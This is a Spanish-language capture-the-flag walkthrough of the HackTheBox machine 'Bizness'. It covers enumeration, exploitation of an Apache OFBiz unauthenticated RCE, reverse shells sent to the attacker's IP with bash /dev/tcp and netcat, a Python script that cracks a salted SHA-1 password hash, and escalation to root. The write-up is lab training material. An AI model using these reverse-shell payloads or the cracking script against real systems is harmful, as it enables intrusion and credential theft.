Bizness – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: HackTheBox

Bizness Avatar


Resumen Link to heading

Bizness es una máquina simple y fácil de HackTheBox. A través de un simple escaneo de directorios ocultos encontramos que el servidor web está corriendo una versión vulnerable de Apache OFBiz la cual permite Ejecución Remota de Comandos (Remote Code Execution). Una vez dentro de la máquina podemos buscar data en archivos internos y, eventualmente, encontrar una contraseña encriptada. Usando estas credenciales encriptadas, junto con un diccionario de contraseñas típico, somos capaces de encontrar la contraseña del usuario root.


User / Usuario Link to heading

Realizando un scan con Nmap muestra 4 puertos abiertos: 22 SSH, 80 HTTP, 443 HTTPs, y 46513 un servicio desconocido.

❯ sudo nmap -sVC -p22,80,443,46513 10.10.11.252 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-12 21:59 -04
Nmap scan report for 10.10.11.252
Host is up (0.19s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp    open  http       nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp   open  ssl/http   nginx 1.18.0
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_  http/1.1
|_http-server-header: nginx/1.18.0
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after:  2328-11-10T20:03:40
|_http-title: Did not follow redirect to https://bizness.htb/
46513/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.84 seconds

Del scan puedo notar que el puerto 80 HTTP está redirigiendo al sitio bizness.htb, de manera que agrego este dominio, junto con la IP de la máquina víctima, a mi archivo /etc/hosts:

❯ echo '10.10.11.252 bizness.htb' | sudo tee -a /etc/hosts

Una vez agregado el dominio podemos visitar https://bizness.htb y podemos ver la siguiente página web:

Bizness_1.png

Muchos de los botones y accessos de esta página web no funcionan, de manera que intentamos encontrar directorios ocultos a través de un Brute Force Directory Listing usando Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u https://bizness.htb -t 55 -k --exclude-length 0

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://bizness.htb
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Exclude Length:          0
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/control              (Status: 200) [Size: 34633]
/http%3A%2F%2Fwww     (Status: 400) [Size: 841]
/http%3A%2F%2Fyoutube (Status: 400) [Size: 841]
/http%3A%2F%2Fblogs   (Status: 400) [Size: 841]
/http%3A%2F%2Fblog    (Status: 400) [Size: 841]
/**http%3A%2F%2Fwww   (Status: 400) [Size: 841]
/External%5CX-News    (Status: 400) [Size: 795]
/http%3A%2F%2Fcommunity (Status: 400) [Size: 841]
/http%3A%2F%2Fradar   (Status: 400) [Size: 841]
/http%3A%2F%2Fjeremiahgrossman (Status: 400) [Size: 841]
/http%3A%2F%2Fweblog  (Status: 400) [Size: 841]
/http%3A%2F%2Fswik    (Status: 400) [Size: 841]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

donde, sin incluir falsos positivos, encontramos el directorio /control.

Visitiando este nuevo directorio encontrado, https://bizness.htb/control, muestra lo siguiente:

Bizness_2.png

donde podemos ver que estamos ante un servidor Apache, más específicamente ante una versión proyecto OFBiz.

Buscando por más directorios dentro de /control, pero esta vez filtrando por falsos positivos (cuyas respuestas tienen una longitud de entre 34000 y 35000), encontramos más páginas:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u https://bizness.htb/control -t 55 -k --exclude-length 34000-35000

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://bizness.htb/control
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Exclude Length: <SNIP>
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login                (Status: 200) [Size: 11061]
/main                 (Status: 200) [Size: 9309]
/help                 (Status: 200) [Size: 10757]
/view                 (Status: 200) [Size: 9309]
/logout               (Status: 200) [Size: 10757]
/views                (Status: 200) [Size: 9309]
/forgotPassword       (Status: 200) [Size: 11061]

Si visitamos https://bizness.htb//control/login podemos ver una página de login:

Bizness_3.png

donde, tal cual se puede observar en el extremo inferior derecho de la imagen, la version del server es 18.12 para Apache OFBiz.

Buscando por exploits para esta version encontramos 2 vulnerabilidades: CVE-2023-49070 y CVE-2023-51467 (ver, por ejemplo, este blog). Esta vulnerabilidad ha sido catalogada como crítica dado que permite Remote Code Execution (RCE) sin necesidad de estar autenticados.

Encuentro este repositorio de Github para estas vulnerabilidades. Clono el repositorio en mi máquina de atacante:

❯ git clone https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass.git

Cloning into 'Apache-OFBiz-Authentication-Bypass'...
remote: Enumerating objects: 19, done.
remote: Counting objects: 100% (14/14), done.
remote: Compressing objects: 100% (12/12), done.
remote: Total 19 (delta 3), reused 7 (delta 1), pack-reused 5
Receiving objects: 100% (19/19), 51.44 MiB | 17.24 MiB/s, done.
Resolving deltas: 100% (3/3), done.

❯ cd Apache-OFBiz-Authentication-Bypass

Primero, para chequear si este exploit funciona y logramos un RCE, me pongo en escuchas por trazas ICMP con tcpdump:

❯ sudo tcpdump -ni tun0 icmp

donde tun0 es la interfaz de net de HackTheBox.

Luego, corro el exploit mandándome un ping en contra de mi máquina de atacante con IP 10.10.16.6:

❯ python3 exploit.py --url 'https://bizness.htb' --cmd 'ping -c1 10.10.16.6'

[+] Generating payload...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Payload generated successfully.
[+] Sending malicious serialized payload...
[+] The request has been successfully sent. Check the result of the command.

y en mi listener con tcpdump obtengo:

❯ sudo tcpdump -ni tun0 icmp

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
23:14:05.107660 IP 10.10.11.252 > 10.10.16.6: ICMP echo request, id 9015, seq 1, length 64
23:14:05.107676 IP 10.10.16.6 > 10.10.11.252: ICMP echo reply, id 9015, seq 1, length 64

de manera que el exploit funciona.

Empiezo un listener con netcat por el puerto 443 en mi máquina de atacante:

❯ nc -lvnp 443

listening on [any] 443 ...

y, en otro panel/ventana, corro el exploit enviándome una reverse shell:

❯ python3 exploit.py --url 'https://bizness.htb' --cmd 'bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"'

[+] Generating payload...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Payload generated successfully.
[+] Sending malicious serialized payload...
[+] The request has been successfully sent. Check the result of the command.

pero no funciona. De manera que en vez de mandarme una reverse shell con el comando bash -i, esta vez lo intentaré con el binario de netcat (nc), corriendo el exploit ahora con:

❯ python3 exploit.py --url 'https://bizness.htb' --cmd 'nc 10.10.16.6 443 -e /bin/bash'

[+] Generating payload...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Payload generated successfully.
[+] Sending malicious serialized payload...
[+] The request has been successfully sent. Check the result of the command.

y en mi listener con netcat obtengo una shell como el usuario ofbiz:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.252] 40808
whoami
ofbiz

donde podemos obtener la flag de usuario en el directorio /home/ofbiz.

Root Link to heading

Después de buscar por algunos archivos en el directorio /opt/ofbiz encontramos otro directorio /opt/ofbiz/framework/resources. Dentro de éste tenemos algunos archivos interesantes:

ofbiz@bizness:/opt/ofbiz/framework/resources$ cd /opt/ofbiz/framework/resources/templates

ofbiz@bizness:/opt/ofbiz/framework/resources/templates$ ls -la
total 112

drwxr-xr-x 2 ofbiz ofbiz-operator 4096 Dec 21 09:15 .
drwxr-xr-x 4 ofbiz ofbiz-operator 4096 Dec 21 09:15 ..
-rw-r--r-- 1 ofbiz ofbiz-operator 1351 Oct 13  2023 AdminNewTenantData-Derby.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1368 Oct 13  2023 AdminNewTenantData-MySQL.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1378 Oct 13  2023 AdminNewTenantData-Oracle.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1378 Oct 13  2023 AdminNewTenantData-PostgreSQL.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1084 Oct 13  2023 AdminUserLoginData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1135 Oct 13  2023 build.gradle
-rw-r--r-- 1 ofbiz ofbiz-operator 3279 Oct 13  2023 CommonScreens.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 2119 Oct 13  2023 controller.xml
-rw-r--r-- 1 ofbiz ofbiz-operator  843 Oct 13  2023 DemoData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1400 Oct 13  2023 document.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1333 Oct 13  2023 entitymodel.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1028 Oct 13  2023 Forms.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1236 Oct 13  2023 HELP.xml
-rw-r--r-- 1 ofbiz ofbiz-operator  806 Oct 13  2023 index.jsp
-rw-r--r-- 1 ofbiz ofbiz-operator 1304 Oct 13  2023 Menus.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 2892 Oct 13  2023 ofbiz-component.xml
-rw-r--r-- 1 ofbiz ofbiz-operator  187 Oct 13  2023 README.txt
-rw-r--r-- 1 ofbiz ofbiz-operator 1582 Oct 13  2023 Screens.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1704 Oct 13  2023 SecurityGroupDemoData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1666 Oct 13  2023 SecurityPermissionSeedData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1318 Oct 13  2023 services.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1021 Oct 13  2023 Tests.xml
-rw-r--r-- 1 ofbiz ofbiz-operator  843 Oct 13  2023 TypeData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 2195 Oct 13  2023 UiLabels.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 5050 Oct 13  2023 web.xml

Si chequeamos el archivo AdminUserLoginData.xml muestra algo:

<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements.  See the NOTICE file
distributed with this work for additional information
regarding copyright ownership.  The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License.  You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied.  See the License for the
specific language governing permissions and limitations
under the License.
-->

<entity-engine-xml>
    <UserLogin userLoginId="@userLoginId@" currentPassword="{SHA}47ca69ebb4bdc9ae0adec130880165d2cc05db1a" requirePasswordChange="Y"/>
    <UserLoginSecurityGroup groupId="SUPER" userLoginId="@userLoginId@" fromDate="2001-01-01 12:00:00.0"/>

Aparentemente, tenemos un hash de una contraseña: 47ca69ebb4bdc9ae0adec130880165d2cc05db1a

Copiando este hash y chequeando su tipo con hash-identifier confirma que es un hash de tipo SHA:

❯ hash-identifier

   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: 47ca69ebb4bdc9ae0adec130880165d2cc05db1a

Possible Hashs:
[+] SHA-1
[+] MySQL5 - SHA-1(SHA-1($pass))

No obstante, si intentamos un Brute Force Password Cracking (crackear la contraseña por fuerza bruta) no funciona.

Pero esto nos da una pista. Empiezo a buscar por más hashes SHA con grep:

ofbiz@bizness:/opt/ofbiz$ grep -rE '\$SHA'

grep: runtime/data/derby/ofbiz/seg0/c54d0.dat: binary file matches
grep: runtime/data/derby/ofbiz/seg0/c6650.dat: binary file matches
grep: .gradle/5.0-rc-5/javaCompile/classAnalysis.bin: binary file matches
grep: build/distributions/ofbiz.tar: binary file matches
gradle/init-gradle-wrapper.sh:        echo "$SHASUM_GRADLE_WRAPPER_FILES" | shasum -c -;
docker/docker-entrypoint.sh:    SHA1SUM_ESCAPED_STRING=$(printf "$SHA1SUM_ASCII_HEX" | sed -e 's/\(..\)\.\?/\\x\1/g')
docker/docker-entrypoint.sh:    SHA1SUM_BASE64=$(printf "$SHA1SUM_ESCAPED_STRING" | basenc --base64url --wrap=0 | tr --delete '=')
docker/docker-entrypoint.sh:    ENCODED_PASSWORD_HASH="\$SHA\$${SALT}\$${SHA1SUM_BASE64}"

Chequeando los 2 primeros archivos donde el string/palabra $SHA fue encontrada, además de usar strings, muestra:

ofbiz@bizness:/opt/ofbiz$ strings runtime/data/derby/ofbiz/seg0/c6650.dat

system
&6)]
system
        anonymous
admin
"$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

y

ofbiz@bizness:/opt/ofbiz$ strings runtime/data/derby/ofbiz/seg0/c54d0.dat

8501
<?xml version="1.0" encoding="UTF-8"?>
            <ofbiz-ser>
                <map-HashMap>
                    <map-Entry>
                        <map-Key>
                            <std-String value="recurrenceInfoId"/>
                        </map-Key>
                        <map-Value>
                            <std-String value="400"/>
                        </map-Value>
                    </map-Entry>
                </map-HashMap>
            </ofbiz-ser>

10000
J<?xml version="1.0" encoding="UTF-8"?><ofbiz-ser>
    <map-HashMap>
        <map-Entry>
            <map-Key>
                <std-String value="updatedUserLogin"/>
            </map-Key>
            <map-Value>
                <eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>
            </map-Value>
        </map-Entry>
        <map-Entry>
            <map-Key>
                <std-String value="locale"/>
            </map-Key>
            <map-Value>
                <std-Locale value="en"/>
            </map-Value>
        </map-Entry>
    </map-HashMap>
</ofbiz-ser>

donde tenemos otro hash: $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I.

Basados en la documentación de encriptación de OFBiz podemos ver que d es el “salt” del hash basados en la porción de código:

public static String cryptBytes(String hashType, String salt, byte[] bytes) {
    if (hashType == null) {
        hashType = "SHA";
    }
    if (salt == null) {
        salt = RandomStringUtils.random(new SecureRandom().nextInt(15) + 1, CRYPT_CHAR_SET);
    }
    StringBuilder sb = new StringBuilder();
    sb.append("$").append(hashType).append("$").append(salt).append("$");
    sb.append(getCryptedBytes(hashType, salt, bytes));
    return sb.toString();
}

Creamos un simple script de Python para desencriptar esta contraseña el cual requiere un salt, un hash y una wordlist (diccionario de contraseñas). En nuestro caso usamos el salt d, hash uP0_QaVBpDWFeo8-dRzDqRwXQ2I= (agregando el caracter = al final de éste) y uso la wordlist/diccionario rockyou (el cual puede ser descargado desde este link). Nuestro script es:

#!/usr/bin/python3

import hashlib
import base64
import argparse
import sys


def percentage(number: int, total: int)->float:
    return (number/total) * 100.


def total_line_lengths(file_path: str)->int:
    total_length: int = 0
    with open(file_path, 'r', encoding='latin-1') as file:
        for line in file:
            total_length += len(line)
    return total_length


def crypt_password(salt, password):
    return hashlib.sha1((salt + password).encode('utf-8')).digest()


def crack_password(salt: str, hash: str, wordlist: str)->str|None:
    total_lines = total_line_lengths(wordlist)
    with open(wordlist, 'r', encoding='latin-1') as f:
        for index, password in enumerate(f):
            password = password.strip()
            hashed_password = base64.urlsafe_b64encode(crypt_password(salt, password)).decode('utf-8').replace('+', '.')
            print(f"[+] Attempting to crack password... ({index+1}/{total_lines} - {percentage(index+1, total_lines):.2f}%)", end="\r")
            if hashed_password == hash:
                print()
                return password
    return None


def parse_arguments()->argparse.Namespace:
    # Parse command line arguments
    parser = argparse.ArgumentParser(description='Crack SHA-1 hashed password',
                                     epilog=f'Example usage:python3 {sys.argv[0]} --salt "d" --hash "<SHA1-hash>" --wordlist "/usr/share/wordlists/rockyou.txt"',
                                     formatter_class=argparse.RawTextHelpFormatter)
    parser.add_argument('--sha1', type=str, help='SHA-1 hash to crack', required=True)
    parser.add_argument('--salt', type=str, help='Hash salt', required=True)
    parser.add_argument('--wordlist', type=str, help='Dictionary to attempt to crack password', required=True)
    args = parser.parse_args()
    return args


def main()->None:
    # Get arguments from user
    args = parse_arguments()
    # Attempt to crack the password
    password = crack_password(args.salt, args.sha1, args.wordlist)
    # And display the result (if there is a result)
    if password:
        print(f"[+] Password found: {password}")
        sys.exit(0)
    print("[!] Could not find a password")
    sys.exit(1)


if __name__ == "__main__":
    main()

y corriendo este script obtenemos:

❯ python3 sha1_decryptor.py --sha1 'uP0_QaVBpDWFeo8-dRzDqRwXQ2I=' --salt 'd' --wordlist '/usr/share/wordlists/rockyou.txt'

[+] Attempting to crack password... (1478438/139921507 - 1.06%)
[+] Password found: monkeybizness

donde encontramos una contraseña: monkeybizness

Desde la terminal con la cual ya teníamos acceso a la máquina trato de cambiar al usuario root corriendo el comando su root, proveyendo la contraseña monkeybizness:

ofbiz@bizness:/opt/ofbiz$ su root

Password:

root@bizness:/opt/ofbiz# whoami
root

Y máquina resuelta. Podemos leer la flag de root en el directorio /root.